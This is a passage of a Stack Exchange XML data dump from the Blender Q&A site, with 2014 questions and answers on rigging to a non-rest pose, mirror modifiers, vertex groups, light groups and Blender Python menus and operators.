  <row Id="15332" PostTypeId="1" CreationDate="2014-08-27T09:10:56.940" Score="5" ViewCount="2599" Body="&lt;p&gt;I want to skin a character that was modeled for a different rest pose. The following example is just a mockup for demonstrating the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMR6D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in this example the Rest Pose (T-Pose) does not match the Model's pose (A-Pose). Hence i can not bind the mesh to the Rest Pose here. But when i adjust the Pose to the Model and then bind the mesh using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pose -&amp;gt; Parent -&amp;gt; Armature deform -&amp;gt; with Automatic weights&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this (and as far as i understand the procedure, this is expected behavior)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qic7F.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, Blender apparently can only bind to Rest pose, hence the Binding function assumes that the rig is in rest pose. Thus as soon as the binding has happened, the current pose is applied to the mesh and thus it gets distorted (and i expect this to happen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The obvious solution to fix this problem seems to be: modify the model so that it matches up with the Rest Pose. Then bind the mesh to the armature. But i do not want to modify the mesh, but use Blender to find a better solution.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;My current workflow to solve the above problem.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Currently i solve the problem as follows (which works nicely, but i still find it to be a tedious workflow):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a copy of my rig.&lt;/li&gt;&#xA;&lt;li&gt;Modify the rest pose of the copied rig to match the Mesh Model (Apply pose as rest pose).&lt;/li&gt;&#xA;&lt;li&gt;Skin the model to the copied Rig.&lt;/li&gt;&#xA;&lt;li&gt;Manually Pose the copied Rig into the Rest Pose of the original Rig.&lt;/li&gt;&#xA;&lt;li&gt;Apply the Armature Modifier.&lt;/li&gt;&#xA;&lt;li&gt;Delete the copied Rig.&lt;/li&gt;&#xA;&lt;li&gt;Attach the mesh to the original Rig (keeping the weight groups).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Anticipated workflow (could be achieved by using an Addon)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I would like to optimize the above mentioned workflow by merging steps 4. - 7. into one step &quot;restore rest pose&quot;. Then eventually change the workflow like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save the Original Rest Pose.&lt;/li&gt;&#xA;&lt;li&gt;Modify the rest pose to match the mesh model.&lt;/li&gt;&#xA;&lt;li&gt;Skin the model.&lt;/li&gt;&#xA;&lt;li&gt;Restore the original Rest Pose without destroying my skinned mesh.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For this i need to save/restore Rest Poses. I know how i could achieve that by creating an Addon. However before i do that i want to be absolutely sure that i do not miss something. So i ask if &quot;Save a rest pose&quot; is implemented already (as far as i can tell the pose library won't work for this).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Ideal workflow (would probably need a change in Blender)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I wonder if Blender could add some support as well. So here is the &quot;ideal workflow&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Pose the Armature to match the Mesh&lt;/li&gt;&#xA;&lt;li&gt;Parent to Armature as usual&lt;/li&gt;&#xA;&lt;li&gt;Add an option in the Operator panel of the Parent operator: &quot;Transform to Rest Pose&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This new option would then calculate the reverse transform such that the mesh would keep its original shape when the armature is posed into the pose from where the mesh was bound. OK, i agree this needs to be read more than once ;-/&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Optimal Workflow&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now the best solution (imho) would be to add full support for binding to arbitrary poses.&#xA;Then Blender would need to support a Bind Pose matrix which allows to bind a mesh to an arbitrary pose.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Questions:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does Blender support my &quot;Anticipated Workflow&quot; ? &#xA;Or is there a better workflow for &quot;rigging a model to a different Rest Pose&quot; ?&lt;/li&gt;&#xA;&lt;li&gt;Does the &quot;Ideal Workflow&quot; as described above make sense ?&lt;/li&gt;&#xA;&lt;li&gt;Is there any chance to get the &quot;Optimal Workflow&quot; accepted for implementation ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-08-29T14:45:45.360" LastActivityDate="2015-03-28T12:49:03.283" Title="How can i skin a model to a pose other than the Rest Pose?" Tags="&lt;rigging&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15333" PostTypeId="1" CreationDate="2014-08-27T09:42:59.150" Score="0" ViewCount="29" Body="&lt;p&gt;Sometimes i try to add a new edge loop but than it doesn't go all the way around. Does anybody know what I am doing wrong? I am using a Mirror modifier. And sometimes i like to delete a line by using x and than disolve edge. Or is this the problem?&#xA;Picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RxmjW.png&quot; alt=&quot;The picture&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping in advanced.&lt;/p&gt;&#xA;" OwnerUserId="5784" LastActivityDate="2014-08-27T09:42:59.150" Title="Adding a new edge loop doesn't work on some parts" Tags="&lt;edges&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-08-27T13:26:53.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="15334" PostTypeId="2" ParentId="15328" CreationDate="2014-08-27T10:20:48.177" Score="4" Body="&lt;p&gt;I assume you mean that you edited the Rig. In that case you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the tool shelf: Vertical Options Tab enable X-Mirror&lt;/li&gt;&#xA;&lt;li&gt;In your Armature, in Edit Mode: select all bones which you have modified (similar like in the image)&lt;/li&gt;&#xA;&lt;li&gt;press &quot;g&quot; followed by RETURN will instantly adjust the other side of your rig.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This works only if the Rig's symmetry plane is YZ (character looks along Y axis) and when the Bones are named according to Blender's naming conventions, see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Editing/Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Rigging/Armatures/Editing/Properties&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hkyt7.png&quot; alt=&quot;Selected part is the modified side&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-08-27T10:20:48.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15335" PostTypeId="1" CreationDate="2014-08-27T12:26:40.110" Score="0" ViewCount="465" Body="&lt;p&gt;I need the &quot;extra&quot; from the roof to be removed. For some reason I can't make this work with booleans. Thank you.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e6qkX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5786" LastActivityDate="2014-08-27T17:30:49.583" Title="How to cut mesh by curved surface" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2014-08-27T17:48:39.277" ContentLicense="CC BY-SA 3.0" />
  <row Id="15336" PostTypeId="1" CreationDate="2014-08-27T13:12:59.640" Score="2" ViewCount="480" Body="&lt;p&gt;In my python script I want to get the location of the head of the bone, in the parent's local matrix. This means that the equation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;b.head_local = b.parent_n.local_matrix * .... * b.parent.local_matrix * searched&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know &lt;code&gt;bone.head&lt;/code&gt; but it seems this is &lt;strong&gt;sometimes&lt;/strong&gt; relative to the &lt;strong&gt;tail&lt;/strong&gt; of the parent. I say &lt;strong&gt;sometimes&lt;/strong&gt; because I can't figure out &lt;strong&gt;when&lt;/strong&gt; this is the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me out with this? An alternative way to get the searched coordinates would help out as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;em&gt;I don't understand the variables that blender offers on bones at all. None of them except &lt;code&gt;bone.head_local&lt;/code&gt; and &lt;code&gt;bone.tail_local&lt;/code&gt;. If someone could explain them that would be honorable.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-08-27T17:30:00.720" LastActivityDate="2014-08-27T17:30:00.720" Title="How to get the location of head bone relative to parent's head bone" Tags="&lt;scripting&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15337" PostTypeId="1" CreationDate="2014-08-27T13:43:00.330" Score="11" ViewCount="28618" Body="&lt;p&gt;I have a scene which has a spot light as the main light source. To get the scene as bright as I want, I have to set the value for the strength to be quite high, something like 5000. The problem is, some textures get too bright and start losing details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, is there any way, maybe through nodes, to make an object not being influenced by a certain light source?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;- Marten&lt;/p&gt;&#xA;" OwnerUserId="5376" LastEditorUserId="3078" LastEditDate="2014-08-27T15:41:26.630" LastActivityDate="2014-08-27T18:53:57.483" Title="How do I make objects ignore certain Light sources?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;light&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ClosedDate="2014-08-28T05:39:48.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="15338" PostTypeId="2" ParentId="15332" CreationDate="2014-08-27T15:05:39.397" Score="1" Body="&lt;p&gt;I would suggest this: in the rig tab of your armature, create a pose library, and next a pose wich will hold the rest pose of your rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next pose the rig as you like, make it the rest pose, work, and when you're done, restore the rest pose from the library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, maybe you can even make simpler: in the mesh object, modifiers tab, you can activate the 'Edit' button of the Armature modifier. Then you can pose your model and work on it, not only in 'Edit' mode, but 'Weight paint' too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; For instance, to rig a character already posed (i.e. being not standing straight), you can:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create a standard rig.&lt;/li&gt;&#xA;&lt;li&gt;In &lt;strong&gt;pose mode&lt;/strong&gt;, move the skeleton to fit the character body and limbs as accurately as you can.&lt;/li&gt;&#xA;&lt;li&gt;Still in pose mode, parent mesh to armature with 'automatic weights'.&#xA;Then, if you return to rest pose, the mesh will follow.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="5587" LastEditorUserId="5587" LastEditDate="2014-08-29T13:45:31.053" LastActivityDate="2014-08-29T13:45:31.053" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15339" PostTypeId="1" AcceptedAnswerId="15346" CreationDate="2014-08-27T15:06:25.333" Score="1" ViewCount="1138" Body="&lt;p&gt;I think it's a stupid question and the answer may be right in front of my nose. I create a menu populated by the text_blocks of the Text Editor, asking which text I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then.... how do I process the selection ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my menu :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Choose_Text(bpy.types.Menu):&#xA;    bl_idname = &quot;OBJECT_MT_select_file&quot;&#xA;    bl_label = &quot;Where is my text ?&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        for i in bpy.data.texts:&#xA;            layout.operator(&quot;something&quot;, text=i.name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess, all the menu items should lead to the same operator and transmit a variable, is that right ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help !&lt;/p&gt;&#xA;" OwnerUserId="5482" LastEditorUserId="5482" LastEditDate="2014-08-27T16:40:18.863" LastActivityDate="2014-08-27T18:38:59.033" Title="Dynamic menu creation : how to get the selection?" Tags="&lt;python&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15340" PostTypeId="2" ParentId="15337" CreationDate="2014-08-27T15:10:32.773" Score="10" Body="&lt;p&gt;This isn't possible in Cycles just yet; You will need to move those objects to a different Render Layer. However it is possible on Blender Internal, using one of these methods:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Materials&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By default, materials are lit by all lamps in all visible layers, but a material (and thus all objects using that material) can be limited to a single group of lamps. To enable this, navigate to the Material menu's Options panel and select a group of lamps in the Light Group field. Note that a light group must be created first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the Exclusive button is enabled, lights in the specified group will only affect objects with this material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/65nIJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Render Layers&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;em&gt;RenderLayers&lt;/em&gt;. If a light group name is selected in this Light field, the scene will be lit exclusively by lamps in the specified group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kCRWr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the relevant &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lights/Lights_In_Other_Contexts&quot; rel=&quot;noreferrer&quot;&gt;wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-08-27T18:53:57.483" LastActivityDate="2014-08-27T18:53:57.483" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15341" PostTypeId="1" CreationDate="2014-08-27T15:33:16.490" Score="1" ViewCount="247" Body="&lt;p&gt;I want a cylinder or other object to change size when the main object changes its position. The cylinder needs to be a line that connects two points. All of this need to be able to change in the game logic as the main object that moves is controlled by a joystick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Stretch To would work great if I could get the end bones to connect/parent to the end point objects. I have a cylinder created with bones and Stretch To but it does not work in game logic.&lt;/p&gt;&#xA;" OwnerUserId="5787" LastActivityDate="2014-11-04T23:41:51.910" Title="Change the size of cylinder/rope in realtime (GameLogic)" Tags="&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15343" PostTypeId="2" ParentId="15335" CreationDate="2014-08-27T17:30:49.583" Score="0" Body="&lt;p&gt;It's not entirely clear to me exactly what you mean by '&quot;extra&quot; from the roof'. If you mean the overhang on the sides, you could modify the geometry by cutting (in any one of several ways, though in my own workflow a boolean modifier would not be a choice I'd make) the surface of the roof, and removing the vertices outside the new geometry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead of that, you mean the parts of the rectangles extending above the roof, then you'd probably want to modify the walls. Again, there are several ways to accomplish this, but exactly which one would be most useful is hard to say without seeing more information.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-27T17:30:49.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15344" PostTypeId="2" ParentId="15328" CreationDate="2014-08-27T17:52:44.957" Score="1" Body="&lt;p&gt;I think the closest you are going to get is &lt;em&gt;Mesh &gt; Snap to symmetry&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://fat.gfycat.com/ShimmeringInfantileHamster.gif&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works by snapping the nearest vertices to a mirrored position, however this won't always work perfectly if you have larger changes. It probably won't work at all if you have a lot of asymmetric topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have yet to make the changes (or you can make them again), you could try &lt;em&gt;X mirror&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D7PPP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.410" LastActivityDate="2014-08-27T17:52:44.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15345" PostTypeId="1" AcceptedAnswerId="15350" CreationDate="2014-08-27T18:15:28.693" Score="1" ViewCount="864" Body="&lt;p&gt;I have imported a mesh from Makehuman, and I started creating and assigning vertex groups using the &quot;c&quot; key and choosing the vertices. The problem is that many vertices are missed from the selection and not assigned to a vertex group. I don't know how to assign every single vertex to form &lt;code&gt;n&lt;/code&gt; vertex_groups in a fast way without missing any vertices? Because missing vertices cause me a problem and also it took me hours doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to acheive is to have different vertex groups. So I don't know how to do this in an accurate way, as I use the ctrl+b and ctrl+c to select vertices and create the 26 different vertex groups but first I don't know how to do this so that the right side is equal to the left side, for example right hand vertices equals the left hand ones so that they are symmetrical. The second problem is, when I export the vertices, I find that the some vertices are not assigned to any vertex group and others are assigned to more than one. I also want to link the mesh with the armature and give weight to the different vertex groups. So if anyone could please advise.&lt;/p&gt;&#xA;" OwnerUserId="2517" LastEditorUserId="2517" LastEditDate="2014-08-29T16:22:17.527" LastActivityDate="2014-08-29T16:22:17.527" Title="Vertex Groups assignment from Makehuman mesh" Tags="&lt;mesh&gt;&lt;vertices&gt;&lt;vertex-groups&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15346" PostTypeId="2" ParentId="15339" CreationDate="2014-08-27T18:38:59.033" Score="1" Body="&lt;p&gt;The menu invokes an operator and this operator would need to receive the filename as a parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assembled a few lines (sorry for not renaming the classes) I'm sure this can be improved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AnimMenu&lt;/strong&gt; - iterates over all loaded text files and add them to a manu in the main header. The files name is handed over by a StringProperty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;AnimOperator&lt;/strong&gt; - Is invoked when a menu item has been selected it reads the value of the property and shows how the filename is received and how to retrieve files content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;text=&quot;&quot;&#xA;&#xA;class AnimOperator(bpy.types.Operator):&#xA;    bl_idname = &quot;object.anim_operator&quot;&#xA;    bl_label = &quot;Pose Anim Operator&quot;&#xA;&#xA;    text_name = bpy.props.StringProperty(name=&quot;anim_text_name&quot;)&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.active_object is not None&#xA;&#xA;    def execute(self, context):&#xA;        print(&quot;invoked script %s&quot; % text )&#xA;        print(&quot;invoked script name=%s&quot; % self.text_name )&#xA;        txt = bpy.data.texts[ self.text_name ].as_string()&#xA;        print(&quot;do something with script&quot;)&#xA;        return {'FINISHED'}&#xA;&#xA;class AnimMenu(bpy.types.Menu):&#xA;    bl_label = &quot;Anim Menu&quot;&#xA;    bl_idname = &quot;OBJECT_MT_anim_menu&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        for txt in bpy.data.texts:&#xA;            props = layout.operator(&quot;object.anim_operator&quot;, text=txt.name)&#xA;            props.text_name = txt.name&#xA;&#xA;&#xA;def draw_item(self, context):&#xA;    layout = self.layout&#xA;    layout.menu(AnimMenu.bl_idname)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(AnimOperator)&#xA;    bpy.utils.register_class(AnimMenu)&#xA;    bpy.types.INFO_HT_header.append(draw_item)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(AnimMenu)&#xA;    bpy.types.INFO_HT_header.remove(draw_item)&#xA;    bpy.utils.unregister_class(AnimOperator)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-27T18:38:59.033" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15347" PostTypeId="1" CreationDate="2014-08-28T01:15:39.033" Score="4" ViewCount="2897" Body="&lt;p&gt;I'm having trouble keeping center vertices in place while editing a head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a lock function? &lt;/p&gt;&#xA;" OwnerUserId="5792" LastEditorUserId="599" LastEditDate="2014-08-28T01:36:04.333" LastActivityDate="2016-04-12T16:12:50.197" Title="How to lock center vertices with mirror modifier?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15348" PostTypeId="2" ParentId="951" CreationDate="2014-08-28T05:10:18.647" Score="2" Body="&lt;p&gt;After followed a few tutorials, it still didn't work. Finally, I found that another factor is Domain Object's texture mapping coordinates. For some reason, the default settings might not apply any coordinates to the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ciEOE.png&quot; alt=&quot;Smoke need coordinate&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, check it when things don't work even you have followed exactly those steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another quick fix is to use &quot;3D Views&gt;Object&gt;Quick Effects&gt;Quick Smoke&quot; as the starting point.&lt;/p&gt;&#xA;" OwnerUserId="5551" LastActivityDate="2014-08-28T05:10:18.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15349" PostTypeId="2" ParentId="15347" CreationDate="2014-08-28T05:42:40.520" Score="5" Body="&lt;p&gt;You want to enable clipping in the mirror modifier.&lt;/p&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/mirror.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual page for the mirror modifier&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0otON.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Clipping&lt;/p&gt;&#xA;&lt;p&gt;Prevents vertices from crossing through the mirror plane(s). Note that this is only valid in Edit mode (i.e when using object transformations, translations, scaling, et cetera, in Object mode, vertices will happily cross these borders.)&#xA;If Clipping is selected but vertices are outside of the Merge Limit the vertices will not merge. As soon as the vertices are within Merge Limit they are clipped together and cannot be moved beyond the mirror plane. If several vertices are selected and are at different distances from the mirror plane, they will one by one be clipped at the mirror plane.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-04-12T16:12:50.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15350" PostTypeId="2" ParentId="15345" CreationDate="2014-08-28T07:21:59.977" Score="1" Body="&lt;h2&gt;Selection&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could assign the vertex groups (VGs) starting from a hand make sure that you name the groups with suffixes e.g ForeArm.L, ForeArm.R (this is required to let Blender know which vertex groups correspond).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4kA0K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Invert the selection &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;I&lt;/kbd&gt; &#xA;&lt;img src=&quot;https://i.stack.imgur.com/NCaI4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deselect (&lt;kbd&gt;MMB&lt;/kbd&gt; while in &lt;em&gt;Select Mode&lt;/em&gt;) all vertices which should not belong to the ForeArm VG. Note that you can also use already assigned VGs to help exact deselecting (especially for the head and upper body parts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat this process for all VG assignments on one side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SV80L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Mirroring (using Mirror Modifier)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Finally use &lt;em&gt;Mirror Vertex Group&lt;/em&gt; to copy the VG data from one side to the other, Note that empty VGs with matching names are required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVqO9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mirror isn't very intuitive due to its prerequisites, therefore I suggest first to watch the video and first try it with a single VG:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://vimeo.com/25485562&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Mirror Vertex Groups (Spanish)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs of &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Mirror&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mirror Modifier&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Vertex Groups &#xA;  When this button is enabled, the Mirror modifier will&#xA;  try to mirror existing vertex groups. A very nice feature, but that&#xA;  has quite specific prerequisites. First, the vertex groups you want to&#xA;  mirror must be named following the usual left/right pattern (i.e.&#xA;  suffixed by something like “.R”, “.right”, “.L”, et cetera). Next, you&#xA;  must have the “mirrored” groups already existing (i.e. same names&#xA;  suffixed by the “other side”) and completely empty (no vertex assigned&#xA;  to it), else it won’t work. Usually, the mirrored copies of the&#xA;  vertices of a group remain in this group. Once this option is&#xA;  activated, all groups following the rules described above will only be&#xA;  valid on the original object – the mirrored copy will put these same&#xA;  vertices into the “mirror” group. Very handy with armatures, for&#xA;  example: you just model half of your object, carefully rig it with&#xA;  half of your armature, and just let the Mirror modifier build the&#xA;  other half. Just be sure to put your Armature modifier(s) after the&#xA;  Mirror one. A final word about multi-axes mirror: in these cases, the&#xA;  “direct”, “first level” copies get the mirrored groups, the copies of&#xA;  copies (“second level”) get the original groups, et cetera.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-08-28T07:27:58.883" LastActivityDate="2014-08-28T07:27:58.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15352" PostTypeId="1" CreationDate="2014-08-28T08:23:23.623" Score="0" ViewCount="189" Body="&lt;p&gt;I'm trying to make an operator for my algorithm that worked fine runned just from script main function, but bmesh in edit mode loaded from operator is dead... So i just can't do anything with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(cls, context):&#xA;    if context.mode == 'EDIT_MESH':&#xA;        bm = bmesh.from_edit_mesh(context.active_object.data)&#xA;        print(bm)&#xA;    bm.any_operation_at_bmesh()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Console output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;BMesh dead at 0x7f1f5558a670&amp;gt;&#xA;Traceback (most recent call last):&#xA;  File &quot;/home/michal/untitled.blend/paper_models.py&quot;, line 491, in poll&#xA;ReferenceError: BMesh data of type BMesh has been removed&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&#xA;location: &amp;lt;unknown location&amp;gt;:-1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on second try of running anything from my script blender crashes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode loading mesh by:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bm = bmesh.new()&#xA;bm.from_mesh(context.active_object.data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;works just fine but the object mode is just not appropriate for this operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My blender version is 2.71&lt;/p&gt;&#xA;" OwnerUserId="5795" LastActivityDate="2014-08-28T08:23:23.623" Title="Dead bmesh loaded from operator in edit_mode" 